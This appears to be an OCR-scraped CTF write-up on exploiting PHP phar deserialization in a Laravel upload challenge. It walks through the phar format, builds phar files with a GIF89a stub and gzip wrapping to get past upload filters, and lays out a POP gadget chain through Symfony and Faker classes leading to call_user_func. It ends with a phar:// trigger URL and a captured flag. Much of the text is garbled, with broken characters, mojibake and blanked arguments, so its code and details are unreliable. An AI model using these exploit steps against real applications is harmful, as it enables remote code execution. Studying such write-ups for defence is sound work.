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Global Phar manifest format
Soinbys Owpn
4 bytes Length of manifest in bytes (1 MB limit)
4 hytes Number of files in the Phar
2 bytes API version of the Phar manifest (currently 1.0.0)
4 hytes Global Phar bitmapped flags
4 bytes Length of Phar alias
?? Phar alias (length based on previous) P
4 bytes Length of Phar metadata (0 for none)
77 Serialized Phar Meta-data, stored in serialize() format
at least 24 * number of entries bytes entries for each file {QEJP\’I;@' PE'iErFfF_l—E

e content
Bl R 4 SO A 2

¢ [optional] a signature for verifying Phar integrity (phar file format only)

B, BAEERRE, KW

Signature format

16 or  The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an

20 SHAZ256 signature, and 64 bytes for an SHAS12 signature.
bytes
4 Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHAT signature,

bytes  0x0004 is used to define an SHA256 signature, and 0x0008 is used to define an SHA512 signature. The
SHA256 and SHA512 signature support was introduced with APl version 1.1.0.

4 Magic GBMB used to define the presence of a signature.
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php-src/ext/phar/phar.c

687 int phar_parse_metadata(char **puffer, zval *metadata, uint3Z_t zip_metadata_len) /* {{{ */
£B5 i

689 php_unseriglize_data_t wvar_hash;

618

611 if (zip_metadata_len) {

612 const unsigned char *p;

613 unsigned char *p_buff = {unsigned char *)estrndup{*buffer, zip_metadata_len);

614 p = p_buff;

615 IVAL_NULL(metadata);

616 PHP_VAR_UNSERIALIZE_INIT{var_hash}; /



&

if (!php_var_unserizlize{metadata, &p, p + zip_metadata_len, &var_hash)) {
efree(p_buff);
PHP_WAR_UNSERIALIZE DESTROY(var_hash);
zval_ptr_dtor{metadata);
IVAL_UNDEF (metadata);
return FAILURE;

H

efree(p_buff);
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fileatime filectime file_exists file_get contents
file_put_contents file filegroup fopen

fileinode filemntime fileowner fileperms

is_dir is_executable is_file is_link

is_readable is_writable is_writeable parse_ini_file

copy unlink stat readfile [ i
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<?php
class TestObject {
function _ destruct(){

s M Wind P rShell
echo "have been unserialized"; [Nows FowErshe

PS D:\phpStudy\PHPTutorial\WWW> php .\test.php
Xdebug: [Step Debug] Time-out connecting to debugging client,
through xdebug.client_host/xdebug.client_port) :-(
. " . Xdebug: [Step Debug] Time-out connecting to debugging client,
unlink( phar‘.pha: ); " through xdebug.client_host/xdebug.client_port) :-(
$phar Phar("phar.phar"); have been unserialized

$phar->startBuffering(); PS D:\phpStudy\PHPTutorial\WWw> |
$phar->setStub("<?php __ HALT_COMPILER(); ?>");
%o TestObject();

$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");

$phar->stopBuffering();

$filename ‘phar://phar.phar/test.txt’;
file_get contents($filename);
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dy\PHPTutoria\WWW\phar.phar - Notepad++ = X
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<?php
class TestObject {
public function _ destruct(){
echo
}

1
J

@unlink( );
$phar = new Phar(
$phar->startBuffering();
$phar->setStub(

$0 = new TestObject();
$phar->setMetadata($o);
$phar->addFromString(

$phar->stopBuffering();

$filename
file get contents($filename);

root@LAPTOP-RDTNMS90: /mnt/d/phpStudy/PHPTutorial/WWW# file phar.phar
phar.phar: GIF image data, version 89a, 16188 x 26736
root@LAPTOP-RDTNMS90: /mnt/d/phpStudy/PHPTutorial/WWWi |
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web.php - hfctf - Visual Studio Code

ndex.php

web.php

App\Http\Controllers)\
App\Http\Controllers)\

ez get(*/", 0O {
return view('upload');

eripost(’/", [Inc troller:: oad'])->name( ‘file.

» 'handle'])->name( " in .handle");

Route::get('/image", [In

lii— Findexcontroller



<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;

class IndexController extends Controller
{
public function fileUpload(Request $req)
{
$allowed extension
$extension = $req->file( )->clientExtension();
if($extension $allowed extension $req->file( )->getSize() 204800)
{
$content = $req->file( )->get();
if (preg_match( , $content )){
$error
return back()
withErrors($error);
}else {
$fileName \md5 (time()) ;
$path $req->file( )->storePubliclyAs( , $fileName);
echo $path”;
return back()
with( 5
with( , $path);
)i
} else{
$error
return back()

withErrors($error);
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preg_match( , $content )
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convertToExecutable

<?php
try {
$tarphar = new Phar('myphar.phar.tar');

$phar = $tarphar->convertToExecutable(Phar::PHAR);
$phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));

$compressed = $phar->convertToExecutable(Phar::TAR, Phar::GZ, '.phar.tgz');
} catch (Exception $e) {

class TestObject {

public function __ destruct(){
echo ,PHP_EOL;
}

}

@unlink( );

$phar new Phar( );

$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
$phar->startBuffering();

$phar->setStub( )
$o new TestObject();

$phar->setMetadata($o);

$phar->addFromString(

$phar->stopBuffering();




root@LAPTOP-RDTNMS90: /mnt/d/phpStudy/PHPTutorial /WWW# xxd ./phar.phar.tar.gz
0000PERO: 1f8b 0800 COEO OOEO 0OOa d32b c8uU8 2cd2 rolily o
00000010: 2f2e 29u4d d22b c828 60al® 0930 0002 3333 /.JM.+.('..0..33
00000020: 33ac e260 6062 cc60 6862 6U68 6ebld 666e 3..''b.‘hbdhndfn
00000030: 6c6U4 0al2 3737 3235 5130 a08d 7350 4169 1d..7725Q0..sPAi
Q0eeeeUEe: 7149 6211 dOUda T7ad8 3508 81lbb a79b 8565

00000050: a28d 3d30 215 e2e3 3dlc 7du2 e29d fd7d ..=0....=.}B...

00000060: 033c 7d5c 8334 3Udad 15ec ed78 b906 da89 .<}\.dd....x....
0000R0E70: a380 86U0 0f9c fff5 7253 Ubl2 5312 uUbl2

00000080: 592 32f3 aB86e 073U 97e3 1237 3030 32u3

00000090: bO81 eabc OcBc 8162 abald f99f Qecd dfca

000000a0: dOc® U4a29 2uUb5 b8cd 329 2b35 boul cYca

000000b0O: cPaa ba76 a®5d 350a e805 U4a80 3laf 5752

000000cO: 5142 uUb3b 08d6 ff06 26e8 f5bf 9991 b9+l

000000d0: 68fe a703 00c5 ffU@ bbel 1u4@c 1c80 duff

000000e0@: c599 €979 8925 a5uU5 a93U abff fle6 763

000000f0: fuUfc 608 6cl2 188e ebT7f 3200 2620 1601

00000100: e2+8 e677 f3b9 bdf6 3f0b fecb ccbid fd9c

00000110: c2d2 9776 1f9e Ocbd dbud6 cl28 1805 a360

00000120: 1ldd0 0e0O® 00a3 8ufe bfOO 1400 @O )
root@LAPTOP-RDTNMS90: /mnt/d/phpStudy/PHPTutorial/WwWi CSDN @k_duit

R #ImageController

<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;

class ImageController extends Controller
{
public function handle(Request $request)
{

$source = $request->input( )5

if(empty($source)){
return view( )8

}

$temp = explode( , $source);

$extension = end($temp);

if ($extension ) {
$error
return back()

withErrors($error);

} else {
$image_name = md5(time()) 5
$dst_img $image_name;
$percent = 1;
(new imgcompress($source, $percent))->compressImg($dst _img);
return back()->with( , $image name);

R HOAR W #2517 ] imgcompress 51 2L




app-php ndexController.php imgcompress.php X
html > app > Http > Controllers > imgcompress.php

> saveimage

compressImg($saveName)

-> openImage();
-> saveImage($saveName);

_openImage()

list($width, $height, $type, $attr) = getimagesize(
->imageinfo = array(
'width" => $width,
"height' => $height,
t;p => image type to extension(%type,
attr’ => gattr
)s
$tun = "imagecreatefrom” . ->»imageinfo[ 't

_>imae = $-Fun CSDI\ @\H duj_t

PFIIX H figetimagesize B 5t 7] R H & 11 %

localtest— T HfSL AT 4T

Notice: getimagesize(): Read error! in D:\phpStudy\PHPTutoria\WWW\test.php on line 21
have been unserialized

H D:\phpStudy\PHPTutoria\WW\W\test.php (ASP-main) - Sublime Text (UNREGISTERED)
G (N) #EEIH)

FOLDERS ne_phar.php poc.php test.php
ASP-main

unlink("phar.phar");
$phar Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php _ HALT_COMPILER(); ?>");
$0 TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");

$phar->stopBuffering();

$filename ‘phar://phar.phar/test.txt’;
getimagesize($filename);

[J Line 22, Column3
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parentn] 4%

IndexController.phy equest.php web.php troller.php ImportConfigurator.php X

html > vendor > symfony > routing > Loader > Configurator > ImportConfigurator.php

Traits\PrefixTrait;
Traits\RouteTrait;

> _call Aa ab, * No results

$parent;
__construct(RouteCollection $parent, RouteCollection $route)

->parent = $parent;
->route = $route;

_destruct()

-»parent->addCollection( ->route);

CSDN @k_dult

T2
FFH  calliy

R —T
ValidGeneratorig F

B& app.php IndexController.php _call Request.php web.php na ntroller.php ValidGenerator,php X

end C V: .
function _call( html > vendor > fakerphp > faker > src > Faker > ValidGenerator.php

{ >l Aa ab, F 70f2 T 4= x
return ->_call($attribute, []);
}

DefaultGenerator.php htmi\ve: php
public function __call($method, $attributes)
Generator.php htmi\vendor\fakerphp\faks
public function __call($method, $attributes)
UniqueGenerator.php html\ve
public function _call($name, $arguments)
ValidGenerator.php html\vendor\fakerphp\faker\src __call($name, $arguments)
public function _ call($name, $arguments) 4 - o
Clientphp htmi\vendor\g c do { ’

public SESESENEIRS method, $args) $res = call user_func_array([ ->generator, $name], $arguments);
StreamDecoratorTrait.php himi\vendo tp\psr7\src $i++;
public function _ call($method, array $args) if (%1 > ->maxRetries) {
throw \overflowException(sprintf( Maximum retries of %d reached without finding a valid value

AuthManager.php htmi\vendor\laravel\framework\src

public function _call($method, $parameters) ! -
P — } while (!call user func( ->validator, $res));

public function _ call($method, $parameters) e -
$res;
BroadcastManager.php html\vendc I\fra

public function _call($method, $parameters) * N GEEAEENEG, (el CSDN @k,




public function _ call($name, $arguments)

I
1
I

$res call user_func_array([$this->generator, $name], $arguments);
$it++;
if ($i > $this->maxRetries) {

throw new \OverflowException(sprintf(

, $this->maxRetries));

1
J

} while (!call user_ func($this->validator, $res));

return $res;

PR PR

1.call_user_func_arrayrce, {Hname = £t taddCollection |
$this->generatorz i name 7772 2 Hrarguments

HETFH_ calldiikithia N 1 I0IEH

2.call_user_func($this->validator, $res)irce, validatora] i, TFHifaHI$restia], fHIFAELL $res =
call user_func_array([$this->generator, $name], $arguments); iR [FlFATAEE KI(EH

& Pl defaultgenerator2 i defaultse 4= 1] %

->default;

DefaultGenerator.php htmive
public function __call($method, $attri
Generator.php htm
public function __call($method, $attributes)
UniqueGenerator.php htm
public function __call($name, $arguments)
ValidGenerator.php htmi\ve N _ call($method, $attributes)
public function __call($name, $arguments)
->default;
Client.php htm
public function __call($method,

StreamDecoratorTrait.php ht

public function __call($method, array $args)

A 4.call_user_func($this->validator, $res)se 4=l #% 1
ok 5k



<?php
namespace Symfony\Component\Routing\Loader\Configurator{

class ImportConfigurator{
private $parent;
function _ construct($a){
$this->parent=%a;
$this->route

namespace Faker{
class ValidGenerator{

protected $generator;

protected $validator;

protected $maxRetries;

function _ construct($a,$func){
$this->generator=%a;
$this->validator=$func;
$this->maxRetries=1;

}

class DefaultGenerator{
protected $default;
function _ construct($default){
$this->default=$default;

namespace{
use Symfony\Component\Routing\Loader\Configurator\ImportConfigurator;
use Faker\ValidGenerator;
use Faker\DefaultGenerator;
$0o=new ImportConfigurator(new ValidGenerator(new DefaultGenerator(
)
$phar=new Phar( );
$phar->convertToExecutable(Phar: :TAR, Phar::GZ);
startBuffering();
setStub( );
setMetadata($o);
addFromString(
stopBuffering();




hrce ib B I LR Bshell[F] 5k
44 Aphar.png 4%
TER fimage R #2532 getif >k

html > rc > web.php

> _ destruct

App\Http\Controllers\Inde
App\Http\Controllers\Im

Route::get('/", O {
return view('upload');

i

Route::post('/', [In Controller::

Route: :get('/image", [ImageController::

/image?image=phar://.../storage/app/uploads/xxx.png
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opacity:1;border-color:#4a5668; border-color rgba (74, 8, 104, var (--border-opacity))} . dark',:text-white {--text-opacity:1; calor:#1£f; color:rgba (255, 255, 265, var (-~text-opacity))} . dark':text-gray-400 {~-text-
opacity:l; color:#ckd5el; colorirgba (203, 213, 224, var (-—text-opacity) )]

15 </styler
dstyler
body {
font-family: ' Numito' ;
20 }
21 styley
22 </head>
23 <body class="antialiased”>
24 <div class="relative flex items—top justify-center min-h-screen bg-gray-100 dark:bg-gray-900 sm:items-center smipt-0">
25 <div class="max-w-xl me-auto smipxz-6 lzipx-87>
26 <div class="flex items-center pt-8 sm:justify-start smipt-0">
27 <div class="px-4 text-lg text-gray-500 border-r border-gray-400 tracking-wider”>
2 500 <fdivy
2
<div class="ml-4 text-lg text-gray-500 uppercase tracking-wider >
Server Error <fdivr
<fdivy
<Adivy
iy
oody>
</html>
flag {dd228860-3e¥b-dbd1-9cec—bc3Uballlelc} cs

done
PS: HEE %45 variwwwhtml H 3% T A & public H 5% F

> fram rk lluminat undation 1sole > mman

$process->start( ($type, $buffer) {
->output->write($buffer);

return $process;

Command ()

PhpExecutableFinder)->find(

->host().":". ->port(),
base path('server.php

E
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